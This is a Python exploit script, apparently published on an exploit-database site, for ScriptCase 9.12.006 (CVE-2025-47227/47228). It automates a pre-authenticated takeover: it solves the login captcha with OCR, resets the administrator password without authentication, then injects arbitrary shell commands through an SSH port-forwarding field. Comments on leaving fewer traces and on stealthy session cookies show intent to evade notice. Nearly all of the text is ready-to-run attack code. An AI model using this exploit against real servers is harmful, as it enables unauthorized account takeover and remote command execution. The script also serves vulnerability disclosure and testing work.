
9 changes to exploits/shellcodes/ghdb Sudo 1.9.17 Host Option - Elevation of Privilege Sudo chroot 1.9.17 - Local Privilege Escalation Microsoft Defender for Endpoint (MDE) - Elevation of Privilege ScriptCase 9.12.006 (23) - Remote Command Execution (RCE) Discourse 3.2.x - Anonymous Cache Poisoning Stacks Mobile App Builder 5.2.3 - Authentication Bypass via Account Takeover Microsoft Outlook - Remote Code Execution (RCE) Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
330 lines
No EOL
14 KiB
Python
Executable file
330 lines
No EOL
14 KiB
Python
Executable file
# Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
|
|
# Date: 04/07/2025
|
|
# Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)
|
|
# Vendor Homepage: https://www.scriptcase.net/
|
|
# Software Link: https://www.scriptcase.net/download/
|
|
# Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase)
|
|
# Tested on: EndeavourOS
|
|
# CVE : CVE-2025-47227, CVE-2025-47228
|
|
# Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228
|
|
# Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution
|
|
|
|
# Imports
|
|
## stdlib
|
|
import io
|
|
import random
|
|
import optparse
|
|
import re
|
|
import string
|
|
import sys
|
|
import urllib.parse
|
|
## third party
|
|
from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow
|
|
import pytesseract # pip3 install pytesseract
|
|
import requests # pip install requests
|
|
from bs4 import BeautifulSoup # pip install beautifulsoup4
|
|
|
|
# Clean image + OCR
|
|
def process_image(input_image, output_image_path=None):
|
|
# Open the image
|
|
img = Image.open(io.BytesIO(input_image))
|
|
|
|
# Convert the image to RGB (in case it's in a different mode)
|
|
img = img.convert('RGB')
|
|
|
|
# Load the pixel data
|
|
pixels = img.load()
|
|
|
|
# Get the dimensions of the image
|
|
width, height = img.size
|
|
|
|
# Process each pixel
|
|
for y in range(height):
|
|
for x in range(width):
|
|
r, g, b = pixels[x, y]
|
|
# Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white)
|
|
if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
|
|
pixels[x, y] = (211, 211, 211) # Change the pixel to light grey
|
|
elif (r, g, b) == (255, 255, 255): # Change white text in black text
|
|
pixels[x, y] = (0, 0, 0) # Change the pixel to black
|
|
|
|
# Size (200, 50) * 5
|
|
img = img.resize((1000,250), Image.Resampling.HAMMING)
|
|
|
|
# Use Tesseract to convert the image to text
|
|
# psm 6 or 8 work best
|
|
# limit alphabet
|
|
# disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns
|
|
custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative
|
|
text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
|
|
return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added
|
|
|
|
# Step 1: Set is_page to true on the session
|
|
def prepare_session(url_base, cookies):
|
|
res = requests.get(
|
|
f'{url_base}/prod/lib/php/devel/iface/login.php',
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200:
|
|
print("[+] Session prepared")
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
|
|
# Random hex string of arbitrary size
|
|
def rand_hex(size):
|
|
return ''.join(random.choice('0123456789abcdef') for _ in range(size))
|
|
|
|
# Step 2: Get a captcha challenge for the session
|
|
def captcha_session(url_base, cookies):
|
|
res = requests.get(
|
|
f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php',
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200:
|
|
print("[+] Captcha retrieved")
|
|
return res.content
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
|
|
# Step 3: Change the password with the prepared session
|
|
def reset_password(url_base, cookies, captcha_img, captcha_txt):
|
|
new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9))
|
|
email = f'{rand_hex(10)}@{rand_hex(8)}.com'
|
|
data = {
|
|
'ajax': 'nm',
|
|
'nm_action': 'change_pass',
|
|
'email': email,
|
|
'pass_new': new_password,
|
|
'pass_conf': new_password,
|
|
'lang': 'en-us',
|
|
'captcha': captcha_txt
|
|
}
|
|
res = requests.post(
|
|
f'{url_base}/prod/lib/php/devel/iface/login.php',
|
|
data=data,
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200 and res.text == '{"result":"success"}':
|
|
print("[+] Password reset successfully")
|
|
print(f"[+] The new password is: {new_password}")
|
|
print(f"[+] The delcared (fake) email address was: {email}")
|
|
elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}':
|
|
print("[-] OCR failed")
|
|
print(f"[-] Failed captcha submission was {captcha_txt}")
|
|
img = Image.open(io.BytesIO(captcha_img))
|
|
img.show()
|
|
manual_input = input("[+] Input displayed captcha to retry manually: ")
|
|
reset_password(url_base, cookies, captcha_img, manual_input)
|
|
elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}':
|
|
print("[-] Non default password policy")
|
|
print("[-] Hardcode a password that matches it")
|
|
print(f"[-] Failed password is: {new_password}")
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
print(res.text)
|
|
print('[-] Data was:')
|
|
print(data)
|
|
|
|
# Detect the deployment path of ScriptCase and produciton environment from the homepage.
|
|
# E.g. deployment path is /scriptcase/
|
|
# sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/'
|
|
# ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php
|
|
# Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php
|
|
def detect_deployment_path(homepage_url):
|
|
res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects)
|
|
if res.status_code == 200:
|
|
print("[+] Looking for deployment path in JS and computing login paths")
|
|
reg = r"var sc_pathToTB = '(.+)/prod/third/jquery_plugin/thickbox/';"
|
|
match = re.search(reg, res.text)
|
|
# compute URL without path
|
|
parsed_url = urllib.parse.urlparse(homepage_url)
|
|
homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}"
|
|
if match:
|
|
base_path = match.group(1)
|
|
print(f"[+] Deployment path found: {base_path}/")
|
|
print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)")
|
|
print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
|
|
else: # either a website not made with ScriptCase or root redirects to the devel page
|
|
js_redirect(res)
|
|
# try to detect the devel/iface/login.php page
|
|
reg2 = r'http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first'
|
|
match = re.search(reg2, res.text)
|
|
if match: # devel page
|
|
print(f"[?] This may be the development console?")
|
|
# now try to extract path from favicon
|
|
reg3 = r'<link rel="shortcut icon" href="(.+)/devel/conf/scriptcase/img/ico/favicon\.ico"'
|
|
match = re.search(reg3, res.text)
|
|
if match: # base path found
|
|
base_path = match.group(1)
|
|
print(f"[+] Deployment path found: {base_path}/")
|
|
print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php")
|
|
print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
|
|
else: # false positive, it's not devel page
|
|
print(f"[-] Failed to find deployment path, is this site made with ScriptCase?")
|
|
else: # no ScriptCase detected
|
|
print("[-] Failed to find deployment path, is this site made with ScriptCase?")
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
|
|
# Try to handle JS redirect else warn and exit
|
|
def js_redirect(res):
|
|
if re.search(r'window\.location', res.text):
|
|
print('[-] JavaScript redirection detected')
|
|
print('[-] JavaScript redirection not handled (no headless browser with JS engine)')
|
|
print(f"[-] Returned page is:\n{res.text}")
|
|
print(f"[-] Last redirection URL is:\n{res.url}")
|
|
match = re.search(r"window\.location\s*=\s*['\"](.+)['\"]", res.text)
|
|
if match:
|
|
redirect_url = f"{res.url}/{match.group(1)}"
|
|
print(f"[?] Let's try again with: {redirect_url}")
|
|
detect_deployment_path(redirect_url)
|
|
else:
|
|
print('Please try again with redirect URL')
|
|
exit(1)
|
|
|
|
# Remote command execution on the system
|
|
#
|
|
# Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it
|
|
# (admin_sys_allconections_test.php) so we leave less traces.
|
|
# Even if the test results in "Connection Error" / "Unable to connect", the command was stil lexecuted.
|
|
def command_injection(url_base, cookies, cmd):
|
|
data = {
|
|
'hid_create_connect': 'S',
|
|
'dbms': 'mysql',
|
|
'conn': 'conn_mysql',
|
|
'dbms': 'pdo_mysql',
|
|
'host': '127.0.0.1:3306',
|
|
'server': '127.0.0.1',
|
|
'port': '3306',
|
|
'user': rand_hex(11),
|
|
'pass': rand_hex(8),
|
|
'show_table': 'Y',
|
|
'show_view': 'Y',
|
|
'show_system': 'Y',
|
|
'show_procedure': 'Y',
|
|
'decimal': '.',
|
|
'use_persistent': 'N',
|
|
'use_schema': 'N',
|
|
'retrieve_schema': 'Y',
|
|
'retrieve_schema': 'Y',
|
|
'use_ssh': 'Y',
|
|
'ssh_server': '127.0.0.1',
|
|
'ssh_user': 'root',
|
|
'ssh_port': '22',
|
|
'ssh_localportforwarding': f'; {cmd};#',
|
|
'ssh_localserver': '127.0.0.1',
|
|
'ssh_localport': '3306',
|
|
'form_create': form_create(url_base, cookies),
|
|
'retornar': 'Back',
|
|
'concluir': 'Save',
|
|
'confirmar': 'Back',
|
|
'voltar': 'Confirm',
|
|
'step': 'sgdb2',
|
|
'nextstep': 'dados_rep'
|
|
}
|
|
res = requests.post(
|
|
f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php',
|
|
data=data,
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200:
|
|
print("[+] Command executed (blind)")
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
exit(1)
|
|
|
|
# Get form_create ID for command_injection()
|
|
def form_create(url_base, cookies):
|
|
res = requests.get(
|
|
f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php',
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200:
|
|
print("[+] Parsing results to find form_create ID")
|
|
soup = BeautifulSoup(res.text, 'html.parser')
|
|
form_create = soup.css.select_one('html body.nmPage form input[name="form_create"]')
|
|
if form_create:
|
|
form_create_id = form_create.get('value')
|
|
print(f"[+] form_create ID found: {form_create_id}")
|
|
return form_create_id
|
|
else:
|
|
print("[-] No form_create ID found")
|
|
exit(1)
|
|
return res.content
|
|
else:
|
|
print(f"[-] Failed with status code {res.status_code}")
|
|
exit(1)
|
|
|
|
# Handles login
|
|
#
|
|
# Comes with a cookie as there is session fixation (cookie not renewed after login)
|
|
def login(url_base, cookies, password):
|
|
data = {
|
|
'option': 'login',
|
|
'opt_par': None,
|
|
'hid_login': 'S',
|
|
'field_pass': password,
|
|
'field_language': 'en-us'
|
|
}
|
|
res = requests.post(
|
|
f'{url_base}/prod/lib/php/nm_ini_manager2.php',
|
|
data=data,
|
|
cookies=cookies,
|
|
verify=False
|
|
)
|
|
if res.status_code == 200:
|
|
print("[+] Authentication successful")
|
|
else:
|
|
print("[-] Authentication failed")
|
|
|
|
# Exploit
|
|
if __name__ == '__main__':
|
|
help_text = """
|
|
Examples:
|
|
|
|
Pre-Auth RCE (password reset + RCE)
|
|
python exploit.py -u http://example.org/scriptcase -c "command"
|
|
Password reset only (no auth)
|
|
python exploit.py -u http://example.org/scriptcase
|
|
RCE only (need account)
|
|
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
|
|
Detect deployment path
|
|
python exploit.py -u http://example.org/ -d
|
|
"""
|
|
parser = optparse.OptionParser(usage=help_text)
|
|
parser.add_option('-u', '--base-url')
|
|
parser.add_option('-c', '--command')
|
|
parser.add_option('-p', '--password')
|
|
parser.add_option('-d', '--detect', action='store_true', dest='detect')
|
|
opts, args = parser.parse_args()
|
|
|
|
cookies = {
|
|
'PHPSESSID': rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string)
|
|
}
|
|
URL_BASE = opts.base_url
|
|
|
|
if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE)
|
|
prepare_session(URL_BASE, cookies)
|
|
captcha_img = captcha_session(URL_BASE, cookies)
|
|
captcha_txt = process_image(captcha_img)
|
|
reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
|
|
command_injection(URL_BASE, cookies, opts.command)
|
|
elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth)
|
|
prepare_session(URL_BASE, cookies)
|
|
captcha_img = captcha_session(URL_BASE, cookies)
|
|
captcha_txt = process_image(captcha_img)
|
|
reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
|
|
elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account)
|
|
prepare_session(URL_BASE, cookies)
|
|
login(URL_BASE, cookies, opts.password)
|
|
command_injection(URL_BASE, cookies, opts.command)
|
|
elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path
|
|
detect_deployment_path(URL_BASE)
|
|
else:
|
|
parser.print_help()
|
|
sys.exit(1) |